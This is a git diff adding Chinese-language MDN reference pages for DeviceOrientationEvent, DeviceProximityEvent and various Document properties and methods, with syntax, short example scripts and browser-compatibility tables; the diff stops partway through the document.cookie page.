+ + diff --git a/files/zh-cn/web/api/deviceorientationevent/absolute/index.html b/files/zh-cn/web/api/deviceorientationevent/absolute/index.html new file mode 100644 index 0000000000..2ac880891c --- /dev/null +++ b/files/zh-cn/web/api/deviceorientationevent/absolute/index.html @@ -0,0 +1,100 @@ +--- +title: DeviceOrientationEvent.absolute +slug: Web/API/DeviceOrientationEvent/absolute +translation_of: Web/API/DeviceOrientationEvent/absolute +--- +

{{ apiref("Device Orientation Events") }}

+ +

表示该设备是否提供绝对定位数据 (这个数据是关于地球的坐标系) 或者使用了由设备决定的专门的坐标系. 查看更多关于 Orientation and motion data explained 的细节.

+ +

语法

+ +
var absolute = instanceOfDeviceOrientationEvent.absolute;
+
+ +

如果方向数据跟地球坐标系和设备坐标系有差异,则absolutetrue,如果方向数据由设备本身的坐标系提供,则absolutefalse

+ +

说明

+ + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('Device Orientation')}}{{Spec2('Device Orientation')}}Initial specification.
+ +

浏览器兼容性

+ +

{{CompatibilityTable}}

+ +
+ + + + + + + + + + + + + + + + + + + + + +
FeatureChromeEdgeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Basic support7.0{{CompatVersionUnknown}}6 [1]{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidEdgeFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Basic support3.0{{CompatVersionUnknown}}6 [1]{{CompatNo}}{{CompatNo}}4.2
+
+ +

[1] Firefox 3.6, 4, and 5 supported mozOrientation instead of the standard DeviceOrientationEvent interface

+ +

参见

+ + diff --git a/files/zh-cn/web/api/deviceorientationevent/alpha/index.html b/files/zh-cn/web/api/deviceorientationevent/alpha/index.html new file mode 100644 index 0000000000..e4a6a0a4d4 --- /dev/null +++ b/files/zh-cn/web/api/deviceorientationevent/alpha/index.html @@ -0,0 +1,53 @@ +--- +title: DeviceOrientationEvent.alpha +slug: Web/API/DeviceOrientationEvent/alpha +tags: + - API + - 陀螺仪 +translation_of: Web/API/DeviceOrientationEvent/alpha +--- +

{{ ApiRef("Device Orientation Events") }}

+ +

返回设备旋转时Z轴的值;即:设备围绕屏幕中心扭转的角度。  详细信息请查看方向和运动数据

+ +

Syntax

+ +
var alpha = instanceOfDeviceOrientationEvent.alpha;
+
+ +

Specifications

+ + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('Device Orientation')}}{{Spec2('Device Orientation')}}Initial specification.
+ +

Browser compatibility

+ +

 

+ +

{{Compat("api.DeviceOrientationEvent.alpha")}}

+ +

 

+ +

See also

+ + diff --git a/files/zh-cn/web/api/deviceorientationevent/beta/index.html b/files/zh-cn/web/api/deviceorientationevent/beta/index.html new file mode 100644 index 0000000000..9cec365dce --- /dev/null +++ b/files/zh-cn/web/api/deviceorientationevent/beta/index.html @@ -0,0 +1,97 @@ +--- +title: DeviceOrientationEvent.beta +slug: Web/API/DeviceOrientationEvent/beta +translation_of: Web/API/DeviceOrientationEvent/beta +--- +

{{ ApiRef("Device Orientation Events") }}

+ +

返回设备旋转时X轴的值. 即: 角度的数值, 范围介于-180 ------ 180之间  表示设备正在向前或向后倾斜.更多信息见  方向和运动数据详解

+ +

语法

+ +
var beta = instanceOfDeviceOrientationEvent.beta;
+ +

规范

+ + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('Device Orientation')}}{{Spec2('Device Orientation')}}Initial specification.
+ +

浏览器的兼容性

+ +

{{CompatibilityTable}}

+ +
+ + + + + + + + + + + + + + + + + + + + + +
FeatureChromeEdgeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Basic support7.0{{CompatVersionUnknown}}6 [1]{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidEdgeFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Basic support3.0{{CompatVersionUnknown}}6 [1]{{CompatNo}}{{CompatNo}}4.2
+
+ +

[1] Firefox 3.6, 4, and 5 supported mozOrientation instead of the standard DeviceOrientationEvent interface

+ +

另请参阅

+ + diff --git a/files/zh-cn/web/api/deviceorientationevent/gamma/index.html b/files/zh-cn/web/api/deviceorientationevent/gamma/index.html new file mode 100644 index 0000000000..6bff9aef20 --- /dev/null +++ b/files/zh-cn/web/api/deviceorientationevent/gamma/index.html @@ -0,0 +1,98 @@ +--- +title: DeviceOrientationEvent.gamma +slug: Web/API/DeviceOrientationEvent/gamma +translation_of: Web/API/DeviceOrientationEvent/gamma +--- +

{{ apiref("Device Orientation Events") }}

+ +

返回设备旋转时Y轴的值;即,多少度,介于之间-9090,通过该装置被接通向左或向右。方向和运动数据解释的细节。

+ +

Syntax

+ +
var gamma = orientationEvent.gamma;
+
+ +

Specifications

+ + + + + + + + + + + + + + + + +
SpecificationStatusComment
设备方向事件{Spec2('Device Orientation')}}Initial specification.
+ +

Browser compatibility

+ +

{{CompatibilityTable}}

+ +
+ + + + + + + + + + + + + + + + + + + + + +
FeatureChromeEdgeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Basic support7.0{{CompatVersionUnknown}}6 [1]{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidEdgeFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Basic support3.0{{CompatVersionUnknown}}6 [1]{{CompatNo}}{{CompatNo}}4.2
+
+ +

[1]火狐3.6,图4和5支撑mozOrientation而不是标准DeviceOrientationEvent接口

+ +

See also

+ + diff --git a/files/zh-cn/web/api/deviceorientationevent/index.html b/files/zh-cn/web/api/deviceorientationevent/index.html new file mode 100644 index 0000000000..a65efefa94 --- /dev/null +++ b/files/zh-cn/web/api/deviceorientationevent/index.html @@ -0,0 +1,119 @@ +--- +title: DeviceOrientationEvent +slug: Web/API/DeviceOrientationEvent +translation_of: Web/API/DeviceOrientationEvent +--- +

{{apiref("Device Orientation Events")}}{{SeeCompatTable}}

+ +

DeviceOrientationEvent提供给网页开发者当设备(指手机,平板等移动设备)在浏览页面时物理旋转的信息。

+ +
+

警告: 当前,火狐浏览器和谷歌浏览器并未能用同一种方式实现,在使用请注意。(见后文) 

+
+ +

属性

+ +
+
{{domxref("DeviceOrientationEvent.absolute")}} {{readonlyinline}}
+
用来说明设备是提供的旋转数据是否是绝对定位的布尔值。
+
{{domxref("DeviceOrientationEvent.alpha")}} {{readonlyinline}}
+
一个表示设备绕z轴旋转的角度(范围在0-360之间)的数字
+
 
+
{{domxref("DeviceOrientationEvent.beta")}} {{readonlyinline}}
+
一个表示设备绕x轴旋转(范围在-180到180之间)的数字,从前到后的方向为正方向。
+
{{domxref("DeviceOrientationEvent.gamma")}} {{readonlyinline}}
+
一个表示设备绕y轴旋转(范围在-90到90之间)的数字,从左向右为正方向。
+
+ +

例子

+ +
window.addEventListener('deviceorientation', function(event) {
+  console.log(event.alpha + ' : ' + event.beta + ' : ' + event.gamma);
+});
+ +

规范

+ + + + + + + + + + + + + + + + +
规范状态草案
{{SpecName('Device Orientation')}}{{Spec2('Device Orientation')}}Initial specification.
+ +

浏览器支持

+ +

{{CompatibilityTable}}

+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Basic support7.0 [1]6 [2]{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidAndroid WebviewFirefox Mobile (Gecko)IE MobileOpera MobileSafari MobileChrome for Android
Basic support3.0{{CompatVersionUnknown}} [1]6 [2]{{CompatNo}}{{CompatNo}}4.2{{CompatVersionUnknown}} [1]
+
+ +

[1] 在版本50之前Chrome为该事件提供绝对的值而非相对的值。开发者仍需使用绝对的值,当使用{{domxref("ondeviceorientationabsolute")}} 事件时.

+ +

[2] 火狐3.6, 4, and 5支持mozOrientation 而非标准的 DeviceOrientationEvent

+ +

参考

+ + diff --git a/files/zh-cn/web/api/deviceproximityevent/index.html b/files/zh-cn/web/api/deviceproximityevent/index.html new file mode 100644 index 0000000000..9e41e775dc --- /dev/null +++ b/files/zh-cn/web/api/deviceproximityevent/index.html @@ -0,0 +1,104 @@ +--- +title: DeviceProximityEvent +slug: Web/API/DeviceProximityEvent +translation_of: Web/API/DeviceProximityEvent +--- +

{{APIRef("Proximity Events")}}{{SeeCompatTable}}

+ +

 DeviceProximityEvent 接口利用设备的近距离感应器提供有关邻近物品的距离信息。

+ +

属性

+ +
+
{{domxref("DeviceProximityEvent.max")}} {{readonlyinline}}
+
最大可反馈的感应距离,以厘米记。
+
{{domxref("DeviceProximityEvent.min")}} {{readonlyinline}}
+
最小可反馈的感应距离,以厘米记,通常是零。
+
{{domxref("DeviceProximityEvent.value")}} {{readonlyinline}}
+
当前设备接近距离,以厘米记。
+
+ +

示例

+ +
window.addEventListener('deviceproximity', function(event) {
+  console.log("value: " + event.value, "max: " + event.max, "min: " + event.min);
+});
+ +

规范

+ + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{ SpecName('Proximity Events', '', 'Proximity Events') }}{{ Spec2('Proximity Events') }}Initial specification
+ +

浏览器兼容性

+ +

{{ CompatibilityTable() }}

+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari
Basic support{{ CompatNo() }}{{ CompatVersionUnknown() }}{{ CompatNo() }}{{ CompatNo() }}{{ CompatNo() }}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidChrome for AndroidFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Basic support{{ CompatNo() }}{{ CompatNo() }}{{ CompatGeckoMobile("15.0") }}{{ CompatNo() }}{{ CompatNo() }}{{ CompatNo() }}
+
+ +

参见

+ + diff --git a/files/zh-cn/web/api/document/adoptnode/index.html b/files/zh-cn/web/api/document/adoptnode/index.html new file mode 100644 index 0000000000..1f502e20a6 --- /dev/null +++ b/files/zh-cn/web/api/document/adoptnode/index.html @@ -0,0 +1,98 @@ +--- +title: Document.adoptNode() +slug: Web/API/Document/adoptNode +translation_of: Web/API/Document/adoptNode +--- +
{{ ApiRef("DOM") }}
+ +
 
+ +

从其他的document文档中获取一个节点。 该节点以及它的子树上的所有节点都会从原文档删除 (如果有这个节点的话), 并且它的ownerDocument 属性会变成当前的document文档。 之后你可以把这个节点插入到当前文档中。

+ +

从Gecko 1.9 (Firefox 3)开始支持

+ +

语法

+ +
node = document.adoptNode(externalNode);
+
+ +
+
   node
+
导入当前文档的新节点. 新节点的 parentNode 是 null, 因为它还没有插入当前文档的文档树中,属于游离状态.   
+
externalNode
+
将要从外部文档导入的节点。
+
+ +

例子

+ +
// 该函数用来从本文档的第一个iframe中获取第一个element元素,
+// 并插入到当前文档树中
+function getEle(){
+    var iframe = document.getElementsByTagName("iframe")[0],
+        ele = iframe.contentWindow.document.body.firstElementChild
+        if(ele){
+            document.body.appendChild(document.adoptNode(ele))
+        }else{
+            alert("没有更多元素了")
+        }
+}
+document.getElementById("move").onclick = getEle
+
+ +

HTML文档

+ +
// index.html
+
+<!DOCTYPE html>
+<html>
+<head>
+    <title>index.html</title>
+</head>
+<body>
+    <iframe src="iframe.html"></iframe>
+    <button id="move">移动元素</button>
+</body>
+</html>
+
+// iframe.html
+
+<!DOCTYPE html>
+<html>
+<head>
+    <title>iframe.html</title>
+</head>
+<body>
+    <h1>Hello</h1><h3>My world!</h3>
+</body>
+</html>
+ +

笔记

+ +

有时候调用adopNode可能会失败因为节点资源来自不同的源,但是这不应该是浏览器的实现问题。

+ +

In general the adoptNode call may fail due to the source node coming from a different implementation, however this should not be a problem with browser implementations.

+ +
+

译者注:

+ +

该方法不但可以从iframe中获取adopt元素,在同一document文档下的不同两个元素中也可以使用,该方法可以实现从左边栏列表中选取某些元素加载到右边栏的功能。

+
+ + +

将外部文档的节点插入当前文档之前,你必须使用 document.importNode() 从外部文档导入源节点,或者使用 document.adoptNode()导入源节点, + 想要了解更多的 Node.ownerDocument 问题,请参考 W3C DOM FAQ.

+ +

即使你不执行导入动作,就执行插入外部文档中的节点.Firefox目前也不会报错(如果严格按标准执行,很多已有的网站都无法正常运行). + 我们鼓励开发者严格按标准修改自己已有的不符合上述标准的代码.

+ +

规范

+ + + +

参见

+ + diff --git a/files/zh-cn/web/api/document/alinkcolor/index.html b/files/zh-cn/web/api/document/alinkcolor/index.html new file mode 100644 index 0000000000..fead03033b --- /dev/null +++ b/files/zh-cn/web/api/document/alinkcolor/index.html @@ -0,0 +1,33 @@ +--- +title: Document.alinkColor +slug: Web/API/Document/alinkColor +tags: + - API + - Deprecated + - HTML DOM + - NeedsCompatTable + - NeedsMarkupWork + - NeedsSpecTable + - Property + - Reference +translation_of: Web/API/Document/alinkColor +--- +

{{APIRef("DOM")}} {{ Deprecated_header() }}

+ +

返回或设置文档体内的活动链接的颜色。mousedown和mouseup事件之间的时间在一个链接是有效的。

+ +

语法

+ +
color = document.alinkColor
+document.alinkColor  = color
+color 可以是一个 “颜色名称”(例如,“blue”,“darkblue”,等)或者是一个 “十六进制的颜色值”(例如,#0000ff)
+ +

注意

+ +

这个属性在Mozilla Firefox浏览器的默认值是红色的(# ee0000十六进制)。
+
+ document.alinkcolor 在 DOM Level 2 HTML 中不推荐使用。可以使用 CSS 伪类选择器 {{ Cssxref(":active") }}。
+
+ 另一种选择是使用 document.body.alink,虽然这在 HTML 4.01 中可以用 CSS 使用替代。
+
+ Gecko 支持 alinkcolor/:active 和 {{ Cssxref(":focus") }}。在 Internet Explorer 6/7 中 alinkcolor/:active 仅在  HTML Elemeint A 上有效。

diff --git a/files/zh-cn/web/api/document/all/index.html b/files/zh-cn/web/api/document/all/index.html new file mode 100644 index 0000000000..5fb9f0dd41 --- /dev/null +++ b/files/zh-cn/web/api/document/all/index.html @@ -0,0 +1,44 @@ +--- +title: document.all +slug: Web/API/Document/all +translation_of: Web/API/Document/all +--- +
{{APIRef("DOM")}}{{Draft}}{{Deprecated_Header("HTML5")}}
+ +

{{domxref("Document")}} 接口上的一个只读属性。返回一个 {{domxref("HTMLAllCollection")}},包含了页面上的所有元素。

+ +

语法

+ +
var htmlAllCollection = document.all;
+ +

+ +

返回一个 {{domxref("HTMLAllCollection")}},包含了页面上的所有元素。

+ +

规范

+ + + + + + + + + + + + + + +
规范状态评论
{{SpecName('HTML WHATWG', 'obsolete.html#dom-document-all', 'all')}}{{Spec2('HTML WHATWG')}}Initial definition.
+ Defined in the obsolete and legacy APIs section.
+ +

浏览器兼容性

+ + + +
+

{{Compat("api.Document.all")}}

+
+ +
diff --git a/files/zh-cn/web/api/document/anchors/index.html b/files/zh-cn/web/api/document/anchors/index.html new file mode 100644 index 0000000000..3ad5569247 --- /dev/null +++ b/files/zh-cn/web/api/document/anchors/index.html @@ -0,0 +1,86 @@ +--- +title: document.anchors +slug: Web/API/Document/anchors +translation_of: Web/API/Document/anchors +--- +

{{APIRef("DOM")}}

+ +

 

+ +

{{deprecated_header()}}

+ +

 

+ +

概述

+ +

anchors属性返回当前文档中的所有锚点元素.

+ +

语法

+ +
nodeList = document.anchors
+
+ +

例子

+ +
if ( document.anchors.length >= 5 ) {
+    dump("dump found too many anchors");
+    window.location = "http://www.google.com";
+}
+
+ +

下例自动生成一个目录列表,包含了到每个段落的锚点.

+ +
<!DOCTYPE HTML>
+<html>
+<head>
+    <script type="text/javascript" charset="utf-8">
+    function init() {
+        var toc = document.getElementById("toc");
+        var i, li, newAnchor;
+        for (i = 0; i < document.anchors.length; i++) {
+            li = document.createElement("li");
+            newAnchor = document.createElement('a');
+            newAnchor.href = "#" + document.anchors[i].name;
+            newAnchor.innerHTML = document.anchors[i].text;
+            li.appendChild(newAnchor);
+            toc.appendChild(li);
+        }
+    }
+
+    </script>
+</head>
+<body onload="init()">
+
+<h1>Title</h1>
+<a name="contents"><h2>Contents</h2></a>
+<ul id="toc"></ul>
+
+<a name="plants"><h2>Plants</h2></a>
+<ol>
+    <li>Apples</li>
+    <li>Oranges</li>
+    <li>Pears</li>
+</ol>
+
+<a name="veggies"><h2>Veggies</h2></a>
+<ol>
+    <li>Carrots</li>
+    <li>Celery</li>
+    <li>Beats</li>
+</ol>
+
+</body>
+</html>
+
+ +

在JSFiddle中查看

+ +

备注

+ +

由于向后兼容的原因,该属性只返回那些拥有name属性的a元素,而不是那些拥有id属性的a元素.

+ +

规范

+ +

DOM Level 2 HTML: anchors

+ +

{{ languages( { "es": "es/DOM/document.anchors", "pl": "pl/DOM/document.anchors", "ja": "ja/DOM/document.anchors" , "en": "en/DOM/document.anchors" } ) }}

diff --git a/files/zh-cn/web/api/document/applets/index.html b/files/zh-cn/web/api/document/applets/index.html new file mode 100644 index 0000000000..ee02667a34 --- /dev/null +++ b/files/zh-cn/web/api/document/applets/index.html @@ -0,0 +1,17 @@ +--- +title: document.applets +slug: Web/API/Document/applets +translation_of: Web/API/Document/applets +--- +

{{ ApiRef() }}

+

概述

+

applets 按顺序返回当前文档中所有的applet对象.

+

语法

+
nodeList = document.applets
+
+

例子

+
my_java_app = document.applets[1]; //获取当前页面的第二个applet对象.
+
+

规范

+

DOM Level 2 HTML: applets

+

{{ languages( { "es": "es/DOM/document.applets", "pl": "pl/DOM/document.applets", "en": "en/DOM/document.applets" } ) }}

diff --git a/files/zh-cn/web/api/document/bgcolor/index.html b/files/zh-cn/web/api/document/bgcolor/index.html new file mode 100644 index 0000000000..75a7ffae9a --- /dev/null +++ b/files/zh-cn/web/api/document/bgcolor/index.html @@ -0,0 +1,31 @@ +--- +title: Document.bgColor +slug: Web/API/Document/bgColor +translation_of: Web/API/Document/bgColor +--- +

{{APIRef("DOM")}}{{ Deprecated_header() }}

+ +

 bgColor 获取/设置当前文档的背景颜色

+ +

语法

+ +
color = document.bgColor
+document.bgColor =color
+
+ +

参数

+ + + +

示例

+ +
document.bgColor = "darkblue";
+
+ +

笔记

+ +

这个属性在Mozilla Firefox中的默认值是白色”#ffffff“。

+ +

document.bgColor 在 DOM Level 2 HTML 中已经不推荐使用。 推荐使用CSS的 background-color 或者 document.body.style.backgroundColor 来给文档设置背景颜色。 另外一种方式是使用 document.body.bgColor, 这种方式也已经不推荐使用了。

diff --git a/files/zh-cn/web/api/document/body/index.html b/files/zh-cn/web/api/document/body/index.html new file mode 100644 index 0000000000..e9ef372b55 --- /dev/null +++ b/files/zh-cn/web/api/document/body/index.html @@ -0,0 +1,29 @@ +--- +title: document.body +slug: Web/API/Document/body +translation_of: Web/API/Document/body +--- +
+ {{ApiRef}}
+

概述

+

返回当前文档中的<body>元素或者<frameset>元素.

+

语法

+
var objRef = document.body;
+document.body = objRef;
+

示例

+
// 如果HTML结构为<body id="oldBodyElement"></body>,则:
+alert(document.body.id); // "oldBodyElement"
+
+var aNewBodyElement = document.createElement("body");
+
+aNewBodyElement.id = "newBodyElement";
+document.body = aNewBodyElement;
+alert(document.body.id); // "newBodyElement"
+
+

介绍

+

document.body是包含当前页面内容的元素,对于拥有<body>元素的文档来说,返回的是<body>元素,对于一个拥有<frameset>元素的文档来说,返回的是最外层的<frameset>元素.

+

该属性是可写的,且为该属性赋的值必须是一个<body>元素.

+

规范

+ diff --git a/files/zh-cn/web/api/document/caretrangefrompoint/index.html b/files/zh-cn/web/api/document/caretrangefrompoint/index.html new file mode 100644 index 0000000000..c765353a08 --- /dev/null +++ b/files/zh-cn/web/api/document/caretrangefrompoint/index.html @@ -0,0 +1,138 @@ +--- +title: Document.caretRangeFromPoint() +slug: Web/API/Document/caretRangeFromPoint +translation_of: Web/API/Document/caretRangeFromPoint +--- +

{{APIRef("DOM")}}{{Non-standard_header}} 

+ +

{{domxref("Document")}} 的 caretRangeFromPoint() 方法返回一个 Range 对象(指定坐标的文档片段)。

+ +

语法

+ +
var range = document.caretRangeFromPoint(float x, float y);
+
+ +

返回

+ +

其中一项:

+ + + +

参数

+ +
+
x
+
当前视图的横向位置。
+
y
+
当前视图的纵向位置。
+
+ +

示例

+ +

Basic demo: 点击文档,在点击的位置插入一行。

+ +

HTML Content

+ +
<p>Lorem ipsum dolor sit amet, consetetur sadipscing elitr,
+sed diam nonumy eirmod tempor invidunt ut labore et dolore magna aliquyam erat,
+sed diam voluptua. At vero eos et accusam et justo duo dolores et ea rebum.
+Stet clita kasd gubergren, no sea takimata sanctus est Lorem ipsum dolor sit amet.</p>
+ +

JavaScript Content

+ +
function insertBreakAtPoint(e) {
+
+    var range;
+    var textNode;
+    var offset;
+
+    if (document.caretPositionFromPoint) {
+        range = document.caretPositionFromPoint(e.clientX, e.clientY);
+        textNode = range.offsetNode;
+        offset = range.offset;
+
+    } else if (document.caretRangeFromPoint) {
+        range = document.caretRangeFromPoint(e.clientX, e.clientY);
+        textNode = range.startContainer;
+        offset = range.startOffset;
+    }
+
+    // only split TEXT_NODEs
+    if (textNode && textNode.nodeType == 3) {
+        var replacement = textNode.splitText(offset);
+        var br = document.createElement('br');
+        textNode.parentNode.insertBefore(br, replacement);
+    }
+}
+
+var paragraphs = document.getElementsByTagName("p");
+for (i=0 ; i < paragraphs.length; i++) {
+    paragraphs[i].addEventListener("click", insertBreakAtPoint, false);
+}
+ +

{{ EmbedLiveSample('Example', '', '', '', 'Web/API/Document/caretRangeFromPoint') }}

+ +

 

+ +

浏览器兼容性

+ +
{{CompatibilityTable}}
+ +
+ + + + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerEdgeOperaSafari (WebKit)
Basic support{{CompatChrome(43.0)}}20+{{CompatNo()}}1215+{{CompatVersionUnknown}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidChrome for AndroidEdgeFirefox Mobile (Gecko)Firefox OSIE MobileOpera MobileSafari Mobile
Basic support{{CompatNo}}{{CompatChrome(43.0)}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
+
+ +

 

diff --git a/files/zh-cn/web/api/document/characterset/index.html b/files/zh-cn/web/api/document/characterset/index.html new file mode 100644 index 0000000000..8484a07d72 --- /dev/null +++ b/files/zh-cn/web/api/document/characterset/index.html @@ -0,0 +1,122 @@ +--- +title: document.characterSet +slug: Web/API/Document/characterSet +tags: + - API +translation_of: Web/API/Document/characterSet +--- +

{{ ApiRef("DOM") }}

+ +

Document.characterSet 只读属性返回当前文档的字符编码。该字符编码是用于渲染此文档的字符集,可能与该页面指定的编码不同。(用户可以重写编码方式。)

+ +
+

document.charset 和document.inputEncoding 属性是document.characterSet 的遗留别名。不要再使用它们。

+
+ +

语法

+ +
var string = document.characterSet
+ +

示例

+ +
<button onclick="alert(document.characterSet);">查看字符集</button>
+//返回当前文档的字符集,比如"ISO-8859-1" 或者 "UTF-8"
+
+ +

规范

+ + + + + + + + + + + + + + +
规范状态Comment
{{SpecName('DOM WHATWG', '#dom-document-characterset', 'characterSet')}}{{Spec2('DOM WHATWG')}}初始定义.
+ +

浏览器兼容性

+ +

{{CompatibilityTable}}

+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureChromeEdgeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
基本支持{{CompatChrome(45.0)}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatUnknown}}{{CompatUnknown}}9 (possibly earlier)
字符集Made read-only in {{CompatChrome(45)}}{{CompatVersionUnknown}}{{CompatGeckoDesktop(44)}}{{CompatUnknown}}{{CompatUnknown}}9 (possibly earlier)
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidAndroid WebviewEdgeFirefox Mobile (Gecko)Firefox OSIE MobileOpera MobileSafari MobileChrome for Android
基本支持{{CompatNo}}{{CompatChrome(45.0)}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatChrome(45.0)}}
字符集{{CompatUnknown}}{{CompatUnknown}}{{CompatVersionUnknown}}{{CompatGeckoMobile(44)}}2.5{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
+
diff --git a/files/zh-cn/web/api/document/clear/index.html b/files/zh-cn/web/api/document/clear/index.html new file mode 100644 index 0000000000..f4a8008ff6 --- /dev/null +++ b/files/zh-cn/web/api/document/clear/index.html @@ -0,0 +1,21 @@ +--- +title: Document.clear() +slug: Web/API/Document/clear +translation_of: Web/API/Document/clear +--- +

{{APIRef("DOM")}}{{ Deprecated_header() }}

+ +

这个方法用来在早期版本的Mozilla中清除整个指定文档。

+ +

在最近版本的基于Mozilla的应用以及Internet Explorer和Netscape 4中这个方法什么也不做

+ +

语法

+ +
document.clear()
+
+ +

规范

+ + diff --git a/files/zh-cn/web/api/document/close/index.html b/files/zh-cn/web/api/document/close/index.html new file mode 100644 index 0000000000..f1356e5b57 --- /dev/null +++ b/files/zh-cn/web/api/document/close/index.html @@ -0,0 +1,59 @@ +--- +title: Document.close() +slug: Web/API/Document/close +tags: + - API + - Document + - 参考 + - 方法 +translation_of: Web/API/Document/close +--- +
{{APIRef("DOM")}}
+ +

Document.close() 用于结束由 对文档的 {{domxref("Document.write()")}} 写入操作,这种写入操作一般由 {{domxref("Document.open()")}} 打开。

+ +

语法

+ +
document.close();
+ +

例子

+ +
// 打开一个文档,以便写入数据
+document.open();
+
+// 写入文档内容
+document.write("<p>文档内容~</p>");
+
+// 关闭文档
+document.close();
+
+ +

规范

+ + + + + + + + + + + + + + + + + + + + + +
规范状态备注
{{SpecName("HTML WHATWG", "#dom-document-close", "document.close()")}}{{Spec2("HTML WHATWG")}}
{{SpecName("DOM2 HTML", "html.html#ID-98948567", "document.close()")}}{{Spec2("DOM2 HTML")}}
+ +

浏览器兼容性

+ + + +

{{Compat("api.Document.close")}}

diff --git a/files/zh-cn/web/api/document/compatmode/index.html b/files/zh-cn/web/api/document/compatmode/index.html new file mode 100644 index 0000000000..0dd9e51447 --- /dev/null +++ b/files/zh-cn/web/api/document/compatmode/index.html @@ -0,0 +1,80 @@ +--- +title: document.compatMode +slug: Web/API/Document/compatMode +tags: + - API + - DOM + - Document + - 参考 + - 属性 +translation_of: Web/API/Document/compatMode +--- +
{{ ApiRef("DOM") }}
+ +

表明当前文档的渲染模式是怪异模式/混杂模式还是标准模式。

+ +

术语

+ + + + + + + + + + + + + + + + + + + + + + +
英文中文
Quirks mode怪异模式
+ 混杂模式
Standards mode标准模式
almost standards mode
+ limited-quirks mode
准标准模式
+ +

语法

+ +
mode = document.compatMode;
+ +

+ +
+
mode
+
是一个枚举值(enumerated value),可能的值有: +
    +
  • "BackCompat":文档为怪异模式。
  • +
  • "CSS1Compat":文档不是怪异模式,意味着文档处于标准模式或者准标准模式。
  • +
+
+
+ +
+

备注:现在,这些模式都已经被标准化了,准标准模式已和标准模式相同,而标准模式成为了默认表现。标准模式和准标准模式这两个名字已经失去了意义,不再在规范文档中出现。

+
+ +

例子

+ +
if (document.compatMode == "BackCompat") {
+  // 渲染模式为混杂模式
+}
+
+ +

规范

+ + + +

浏览器兼容性

+ + + +

{{Compat("api.Document.compatMode")}}

diff --git a/files/zh-cn/web/api/document/contenttype/index.html b/files/zh-cn/web/api/document/contenttype/index.html new file mode 100644 index 0000000000..39cf0dc614 --- /dev/null +++ b/files/zh-cn/web/api/document/contenttype/index.html @@ -0,0 +1,17 @@ +--- +title: document.contentType +slug: Web/API/Document/contentType +translation_of: Web/API/Document/contentType +--- +

{{ ApiRef() }}

+

概述

+

返回当前文档的Content-Type(MIME)类型.

+

语法

+
contentType = document.contentType;
+
+

该属性为只读.

+

备注

+

该属性的返回值是浏览器检测到的,不一定是直接读取HTTP响应头中的或者HTML中meta标签指定的值.

+

规范

+

非标准属性,仅Gecko支持.

+

{{ languages( {"en": "en/DOM/document.contentType" } ) }}

diff --git a/files/zh-cn/web/api/document/cookie/index.html b/files/zh-cn/web/api/document/cookie/index.html new file mode 100644 index 0000000000..bf09d2d80d --- /dev/null +++ b/files/zh-cn/web/api/document/cookie/index.html @@ -0,0 +1,293 @@ +--- +title: Document.cookie +slug: Web/API/Document/cookie +tags: + - Document.cookie + - cookie +translation_of: Web/API/Document/cookie +--- +
{{APIRef("DOM")}}
+ +
+ +

获取并设置与当前文档相关联的 cookie。可以把它当成一个 getter and setter

+ +

语法

+ +
读取所有可从此位置访问的Cookie
+ +
allCookies = document.cookie;
+ +

在上面的代码中,allCookies被赋值为一个字符串,该字符串包含所有的Cookie,每条cookie以"分号和空格(; )"分隔(即, key=value 键值对)。

+ + + +
document.cookie = newCookie;
+ +

newCookie是一个键值对形式的字符串。需要注意的是,用这个方法一次只能对一个cookie进行设置或更新。

+ + + +
+

备注: 在{{Gecko("6.0")}}前,被引号括起的路径的引号会被当做路径的一部分,而不是被当做定界符。现在已被修复。

+
+ +

示例

+ +

示例1: 简单用法

+ +
document.cookie = "name=oeschger";
+document.cookie = "favorite_food=tripe";
+alert(document.cookie);
+// 显示: name=oeschger;favorite_food=tripe
+
+ +

示例2: 得到名为test2的cookie

+ +
document.cookie = "test1=Hello";
+document.cookie = "test2=World";
+
+var myCookie = document.cookie.replace(/(?:(?:^|.*;\s*)test2\s*\=\s*([^;]*).*$)|^.*$/, "$1");
+
+alert(myCookie);
+// 显示: World
+
+ +

示例3: 只执行某事一次

+ +

要使下面的代码工作,请替换所有someCookieName (cookie的名字)为自定义的名字。

+ +
